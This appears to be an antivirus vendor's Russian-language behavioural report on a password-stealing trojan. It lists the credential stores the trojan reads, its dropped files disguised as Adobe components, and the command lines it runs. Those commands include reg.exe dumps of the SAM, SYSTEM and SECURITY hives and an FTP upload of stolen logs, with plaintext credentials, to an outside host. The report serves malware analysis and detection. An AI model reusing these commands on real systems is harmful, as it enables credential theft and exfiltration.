Trojan.PWS.Siggen2.35259

Техническая информация

Вредоносные функции

Ищет ветки реестра, отвечающие за хранение паролей сторонними программами

[<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]

Читает файлы, отвечающие за хранение паролей сторонними программами

<LS_APPDATA>\google\chrome\user data\default\login data
%APPDATA%\opera software\opera stable\login data
%APPDATA%\thunderbird\profiles.ini
%APPDATA%\thunderbird\profiles\wjj9aet2.default\signons.sqlite

Изменения в файловой системе

Создает следующие файлы

%APPDATA%\local\adobe\pdf\low\adob02.bat
%TEMP%\dxzegnblt
%TEMP%\hrautk
%TEMP%\hggjpexhd
%TEMP%\ectdqroub
%APPDATA%\adobe\adobe inc\aadoberead\555.555
%TEMP%\_mei11762\msvcr90.dll
%TEMP%\_mei11762\_ctypes.pyd
%TEMP%\_mei11762\_elementtree.pyd
%TEMP%\_mei11762\_hashlib.pyd
%TEMP%\_mei11762\_multiprocessing.pyd
%TEMP%\_mei11762\_socket.pyd
%TEMP%\_mei11762\_sqlite3.pyd
%TEMP%\_mei11762\_ssl.pyd
%TEMP%\_mei11762\lazagne.exe.manifest
%APPDATA%\adobe\adobe inc\aadoberead\444.444
%TEMP%\_mei11762\msvcp100.dll
%TEMP%\_mei11762\msvcr100.dll
%TEMP%\_mei11762\pyexpat.pyd
%TEMP%\_mei11762\python27.dll
%TEMP%\_mei11762\pywintypes27.dll
%TEMP%\_mei11762\select.pyd
%TEMP%\_mei11762\sqlite3.dll
%TEMP%\_mei11762\unicodedata.pyd
%TEMP%\_mei11762\win32pipe.pyd
%TEMP%\u1qpd0
%TEMP%\mrkxgwfq
%TEMP%\pmavskcxclxr
%TEMP%\bbvfqrx
%TEMP%\xamfcmqky
%TEMP%\_mei11762\bz2.pyd
%TEMP%\eoqqou
%TEMP%\_mei15122\_elementtree.pyd
%APPDATA%\local\adobe\pdf\low\adobe01.bat
%APPDATA%\local\adobe\pdf\low\adobel.vbs
%APPDATA%\local\adobe\pdf\low\adobepdf.exe
%APPDATA%\local\adobe\pdf\low\ancp.exe
%APPDATA%\local\adobe\pdf\low\areada.exe
%APPDATA%\adobe\adobe inc\aadoberead\adob02.bat
%APPDATA%\adobe\adobe inc\aadoberead\adobe01.bat
%APPDATA%\adobe\adobe inc\aadoberead\adobel.vbs
%APPDATA%\adobe\adobe inc\aadoberead\adobepdf.exe
%APPDATA%\adobe\adobe inc\aadoberead\ancp.exe
%APPDATA%\adobe\adobe inc\aadoberead\areada.exe
%TEMP%\_mei15122\msvcr90.dll
%TEMP%\_mei15122\_ctypes.pyd
%TEMP%\_mei15122\_hashlib.pyd
%TEMP%\_mei15122\unicodedata.pyd
%TEMP%\_mei15122\_multiprocessing.pyd
%TEMP%\_mei15122\_socket.pyd
%TEMP%\_mei15122\_sqlite3.pyd
%TEMP%\_mei15122\_ssl.pyd
%TEMP%\_mei15122\bz2.pyd
%TEMP%\_mei15122\lazagne.exe.manifest
%TEMP%\_mei15122\msvcp100.dll
%TEMP%\_mei15122\msvcr100.dll
%TEMP%\_mei15122\pyexpat.pyd
%TEMP%\_mei15122\python27.dll
%TEMP%\_mei15122\pywintypes27.dll
%TEMP%\_mei15122\select.pyd
%TEMP%\_mei15122\sqlite3.dll
%TEMP%\_mei15122\win32pipe.pyd
%HOMEPATH%\ncftp\firewall.txt

Удаляет следующие файлы

%TEMP%\eoqqou
%TEMP%\pmavskcxclxr
%TEMP%\bbvfqrx
%TEMP%\_mei11762\bz2.pyd
%TEMP%\_mei11762\lazagne.exe.manifest
%TEMP%\_mei11762\msvcp100.dll
%TEMP%\_mei11762\msvcr100.dll
%TEMP%\_mei11762\msvcr90.dll
%TEMP%\_mei11762\pyexpat.pyd
%TEMP%\u1qpd0
%TEMP%\mrkxgwfq
%TEMP%\_mei11762\python27.dll
%TEMP%\_mei11762\sqlite3.dll
%TEMP%\_mei11762\unicodedata.pyd
%TEMP%\_mei11762\win32pipe.pyd
%TEMP%\_mei11762\_ctypes.pyd
%TEMP%\_mei11762\_elementtree.pyd
%TEMP%\_mei11762\_hashlib.pyd
%TEMP%\_mei11762\_multiprocessing.pyd
%TEMP%\_mei11762\_socket.pyd
%TEMP%\_mei11762\pywintypes27.dll
%TEMP%\_mei11762\select.pyd
%TEMP%\_mei15122\_ssl.pyd
%TEMP%\_mei15122\_sqlite3.pyd
%TEMP%\_mei15122\_socket.pyd
%TEMP%\dxzegnblt
%TEMP%\hrautk
%TEMP%\hggjpexhd
%TEMP%\ectdqroub
%TEMP%\_mei15122\bz2.pyd
%TEMP%\_mei15122\lazagne.exe.manifest
%TEMP%\_mei15122\msvcp100.dll
%TEMP%\_mei15122\msvcr100.dll
%TEMP%\_mei15122\msvcr90.dll
%TEMP%\xamfcmqky
%TEMP%\_mei15122\pyexpat.pyd
%TEMP%\_mei15122\pywintypes27.dll
%TEMP%\_mei15122\select.pyd
%TEMP%\_mei15122\sqlite3.dll
%TEMP%\_mei15122\unicodedata.pyd
%TEMP%\_mei15122\win32pipe.pyd
%TEMP%\_mei15122\_ctypes.pyd
%TEMP%\_mei15122\_elementtree.pyd
%TEMP%\_mei15122\_hashlib.pyd
%TEMP%\_mei15122\_multiprocessing.pyd
%TEMP%\_mei15122\python27.dll
%TEMP%\_mei11762\_sqlite3.pyd
%TEMP%\_mei11762\_ssl.pyd

Перемещает следующие файлы

%APPDATA%\adobe\adobe inc\aadoberead\555.555 в %APPDATA%\adobe\adobe inc\aadoberead\reo_201917th_185922.090
%APPDATA%\adobe\adobe inc\aadoberead\444.444 в %APPDATA%\adobe\adobe inc\aadoberead\rep_201917th_185922.091

Сетевая активность

UDP

DNS ASK ft#.##eehostia.com

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\wscript.exe' "%APPDATA%\Local\Adobe\Pdf\low\adobel.vbs"
'%APPDATA%\adobe\adobe inc\aadoberead\adobepdf.exe' browsers
'%APPDATA%\adobe\adobe inc\aadoberead\adobepdf.exe' mails
'%APPDATA%\adobe\adobe inc\aadoberead\ancp.exe' -u johsim36 -p 2019mural -m -R ftp.freehostia.com /LOG015 *.090
'%APPDATA%\adobe\adobe inc\aadoberead\ancp.exe' -u johsim36 -p 2019mural -m -R ftp.freehostia.com /LOG015 *.091
'%APPDATA%\adobe\adobe inc\aadoberead\areada.exe' 5359
'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\Local\Adobe\Pdf\low\adobe01.bat" /quiet /norestart"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c "reg.exe save hklm\security %TEMP%\xamfcmqky"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c "reg.exe save hklm\system %TEMP%\dxzegnblt"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c "reg.exe save hklm\sam %TEMP%\hrautk"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c "reg.exe save hklm\security %TEMP%\mrkxgwfq"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c "reg.exe save hklm\system %TEMP%\pmavskcxclxr"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c "reg.exe save hklm\sam %TEMP%\bbvfqrx"' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\Local\Adobe\Pdf\low\adobe01.bat" /quiet /norestart"
'%WINDIR%\syswow64\xcopy.exe' /y /h /e /r /k /c *.* "%APPDATA%\Adobe\Adobe Inc\AadobeRead\"
'%WINDIR%\syswow64\cmd.exe' /K "%APPDATA%\Adobe\Adobe Inc\AadobeRead\adob02.bat"
'%WINDIR%\syswow64\attrib.exe' +r +a +s +h "%APPDATA%\Local\Adobe\Pdf\low"
'<SYSTEM32>\cmd.exe' /c "reg.exe save hklm\security %TEMP%\xamfcmqky"
'<SYSTEM32>\reg.exe' save hklm\security %TEMP%\xamfcmqky
'<SYSTEM32>\cmd.exe' /c "reg.exe save hklm\system %TEMP%\dxzegnblt"
'<SYSTEM32>\reg.exe' save hklm\system %TEMP%\dxzegnblt
'<SYSTEM32>\cmd.exe' /c "reg.exe save hklm\sam %TEMP%\hrautk"
'<SYSTEM32>\reg.exe' save hklm\sam %TEMP%\hrautk
'<SYSTEM32>\cmd.exe' /c "reg.exe save hklm\security %TEMP%\mrkxgwfq"
'<SYSTEM32>\reg.exe' save hklm\security %TEMP%\mrkxgwfq
'<SYSTEM32>\cmd.exe' /c "reg.exe save hklm\system %TEMP%\pmavskcxclxr"
'<SYSTEM32>\reg.exe' save hklm\system %TEMP%\pmavskcxclxr
'<SYSTEM32>\cmd.exe' /c "reg.exe save hklm\sam %TEMP%\bbvfqrx"
'<SYSTEM32>\reg.exe' save hklm\sam %TEMP%\bbvfqrx